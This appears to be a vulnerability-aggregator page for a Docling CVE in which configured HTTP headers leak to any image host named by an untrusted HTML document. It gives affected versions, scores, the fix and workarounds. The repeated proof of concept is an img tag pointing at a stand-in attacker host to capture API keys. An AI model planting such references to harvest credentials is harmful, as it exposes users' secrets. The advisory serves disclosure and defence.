CVE-2026-105742
Docling: Configured HTTP headers sent to every remote image host named by a document
Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.95.0 until 2.132.0, the HTML image resource loader in docling/backend/utils/image_resource_loader.py forwards headers configured through the HTMLBackendOptions.headers setting to every remote image URL named by an untrusted document when enable_remote_fetch=True and fetch_images=True. The loader does not restrict those credentials to the source document's origin, allowing requests that carry custom headers such as API keys and cookies to follow cross-origin redirects and expose the caller's configured credentials to a document author. The default configuration is not affected because remote fetching and configured headers are required. This issue is fixed in 2.132.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
3.7
Docling: Configured HTTP headers sent to every remote image host named by a document
Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.95.0 until 2.132.0, the HTML image resource loader in docling/backend/utils/image_resource_loader.py forwards headers configured through the HTMLBackendOptions.headers setting to every remote image URL named by an untrusted document when enable_remote_fetch=True and fetch_images=True. The loader does not restrict those credentials to the source document's origin, allowing requests that carry custom headers such as API keys and cookies to follow cross-origin redirects and expose the caller's configured credentials to a document author. The default configuration is not affected because remote fetching and configured headers are required. This issue is fixed in 2.132.0.
- Record
CVE-2026-105742- CVSS 3.1
- 3.7 Low
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-201, CWE-522
- Updated
- 2026-11-02
EUVDEUVD-2026-92802
3.7
Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.95.0 until 2.132.0, the HTML image resource loader in docling/backend/utils/image_resource_loader.py forwards headers configured through the HTMLBackendOptions.headers setting to every remote image URL named by an untrusted document when enable_remote_fetch=True and fetch_images=True. The loader does not restrict those credentials to the source document's origin, allowing requests that carry custom headers such as API keys and cookies to follow cross-origin redirects and expose the caller's configured credentials to a document author. The default configuration is not affected because remote fetching and configured headers are required. This issue is fixed in 2.132.0.
- Record
EUVD-2026-92802- CVSS 3.1
- 3.7 Low
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-p3fw-7699-7926
3.7
Docling: Configured HTTP headers sent to every remote image host named by a document
Summary
HTMLBackendOptions.headers is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.
Details
docling/backend/utils/image_resource_loader.py merges options.headers into each remote request without checking the destination against the source document's origin. requests strips only Authorization on a cross-host redirect, so custom headers such as X-API-Key or Cookie are also forwarded across redirects.
Affected configurations
- Affected: callers that set
headerstogether withenable_remote_fetch=Trueandfetch_images=True(CLI:--html-image-headerswith--html-image-fetch remoteorall), and convert untrusted HTML. - Not affected: the default configuration.
Impact
Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.
Proof of concept
<img src="https://attacker.example/pixel.png">
Converting this file with HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."}) sends the key to attacker.example.
Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.
Patches
Fixed in docling 2.132.0 by #4420. Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.
Workarounds
Upgrade to 2.132.0. For older versions:
Do not set headers when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.
- Record
GHSA-p3fw-7699-7926- CVSS 3.1
- 3.7 Low
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-201, CWE-522
- Updated
- 2026-11-02
NVD
3.7
Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.95.0 until 2.132.0, the HTML image resource loader in docling/backend/utils/image_resource_loader.py forwards headers configured through the HTMLBackendOptions.headers setting to every remote image URL named by an untrusted document when enable_remote_fetch=True and fetch_images=True. The loader does not restrict those credentials to the source document's origin, allowing requests that carry custom headers such as API keys and cookies to follow cross-origin redirects and expose the caller's configured credentials to a document author. The default configuration is not affected because remote fetching and configured headers are required. This issue is fixed in 2.132.0.
- Record
CVE-2026-105742- CVSS 3.1
- 3.7 Low
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N - CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-201, CWE-522
- Updated
- 2026-11-02
OSV
3.7
Docling: Configured HTTP headers sent to every remote image host named by a document
Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.95.0 until 2.132.0, the HTML image resource loader in docling/backend/utils/image_resource_loader.py forwards headers configured through the HTMLBackendOptions.headers setting to every remote image URL named by an untrusted document when enable_remote_fetch=True and fetch_images=True. The loader does not restrict those credentials to the source document's origin, allowing requests that carry custom headers such as API keys and cookies to follow cross-origin redirects and expose the caller's configured credentials to a document author. The default configuration is not affected because remote fetching and configured headers are required. This issue is fixed in 2.132.0.
- Record
CVE-2026-105742- CVSS 3.1
- 3.7 Low
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-201, CWE-522
- Updated
- 2026-11-02
OSVGHSA-p3fw-7699-7926
3.7
Docling: Configured HTTP headers sent to every remote image host named by a document
Summary
HTMLBackendOptions.headers is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.
Details
docling/backend/utils/image_resource_loader.py merges options.headers into each remote request without checking the destination against the source document's origin. requests strips only Authorization on a cross-host redirect, so custom headers such as X-API-Key or Cookie are also forwarded across redirects.
Affected configurations
- Affected: callers that set
headerstogether withenable_remote_fetch=Trueandfetch_images=True(CLI:--html-image-headerswith--html-image-fetch remoteorall), and convert untrusted HTML. - Not affected: the default configuration.
Impact
Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.
Proof of concept
<img src="https://attacker.example/pixel.png">
Converting this file with HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."}) sends the key to attacker.example.
Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.
Patches
Fixed in docling 2.132.0 by #4420. Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.
Workarounds
Upgrade to 2.132.0. For older versions:
Do not set headers when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.
- Record
GHSA-p3fw-7699-7926- CVSS 3.1
- 3.7 Low
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-201, CWE-522
- Updated
- 2026-11-02
OSVPYSEC-2026-4189
5.3
Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.95.0 until 2.132.0, the HTML image resource loader in docling/backend/utils/image_resource_loader.py forwards headers configured through the HTMLBackendOptions.headers setting to every remote image URL named by an untrusted document when enable_remote_fetch=True and fetch_images=True. The loader does not restrict those credentials to the source document's origin, allowing requests that carry custom headers such as API keys and cookies to follow cross-origin redirects and expose the caller's configured credentials to a document author. The default configuration is not affected because remote fetching and configured headers are required. This issue is fixed in 2.132.0.
- Record
PYSEC-2026-4189- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Updated
- 2026-11-02
OSVPYSEC-2026-4212
3.7
Docling: Configured HTTP headers sent to every remote image host named by a document
Summary
HTMLBackendOptions.headers is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.
Details
docling/backend/utils/image_resource_loader.py merges options.headers into each remote request without checking the destination against the source document's origin. requests strips only Authorization on a cross-host redirect, so custom headers such as X-API-Key or Cookie are also forwarded across redirects.
Affected configurations
- Affected: callers that set
headerstogether withenable_remote_fetch=Trueandfetch_images=True(CLI:--html-image-headerswith--html-image-fetch remoteorall), and convert untrusted HTML. - Not affected: the default configuration.
Impact
Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.
Proof of concept
<img src="https://attacker.example/pixel.png">
Converting this file with HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."}) sends the key to attacker.example.
Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.
Patches
Fixed in docling 2.132.0 by #4420. Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.
Workarounds
Upgrade to 2.132.0. For older versions:
Do not set headers when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.
- Record
PYSEC-2026-4212- CVSS 3.1
- 3.7 Low
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
doclingPyPI |
2.95.0 up to 2.132.0 | 2.132.0 |
docling-slimPyPI |
2.95.0 up to 2.132.0 | 2.132.0 |
doclingPyPI |
2.95.0 up to 2.132.0, plus listed versions 2.100.02.101.02.102.02.102.12.102.2 Show 38 moreShow less2.103.02.104.02.105.02.106.02.107.02.108.02.109.02.110.02.111.02.112.02.113.02.114.02.115.02.116.02.117.02.118.02.118.12.119.02.120.12.120.22.120.32.121.02.122.02.123.02.123.12.124.02.125.02.126.02.127.02.128.02.129.02.130.02.131.02.96.02.96.12.97.02.98.02.99.0 |
2.132.0 |
docling-slimPyPI |
2.95.0 up to 2.132.0, plus listed versions 2.100.02.101.02.102.02.102.12.102.2 Show 38 moreShow less2.103.02.104.02.105.02.106.02.107.02.108.02.109.02.110.02.111.02.112.02.113.02.114.02.115.02.116.02.117.02.118.02.118.12.119.02.120.12.120.22.120.32.121.02.122.02.123.02.123.12.124.02.125.02.126.02.127.02.128.02.129.02.130.02.131.02.96.02.96.12.97.02.98.02.99.0 |
2.132.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-105742 is a low vulnerability (CVSS 3.7) in Docling, published October 5, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.25%, the 17th percentile. Fixed in docling 2.132.0.
References
github.com/docling-project/docling/security/advisories/GHSA-p3fw-7699-7926
github.com/docling-project/docling/pull/4420
github.com/docling-project/docling/commit/5e469137f275ffc443306a30d12a3a45bceb80fb
github.com/docling-project/docling/releases/tag/v2.132.0
nvd.nist.gov/vuln/detail/CVE-2026-105742
github.com/advisories/GHSA-p3fw-7699-7926
github.com/CVEProject/cvelistV5/tree/main/cves/2026/105xxx/CVE-2026-105742.json
github.com/docling-project/docling
pypi.org/project/docling-slim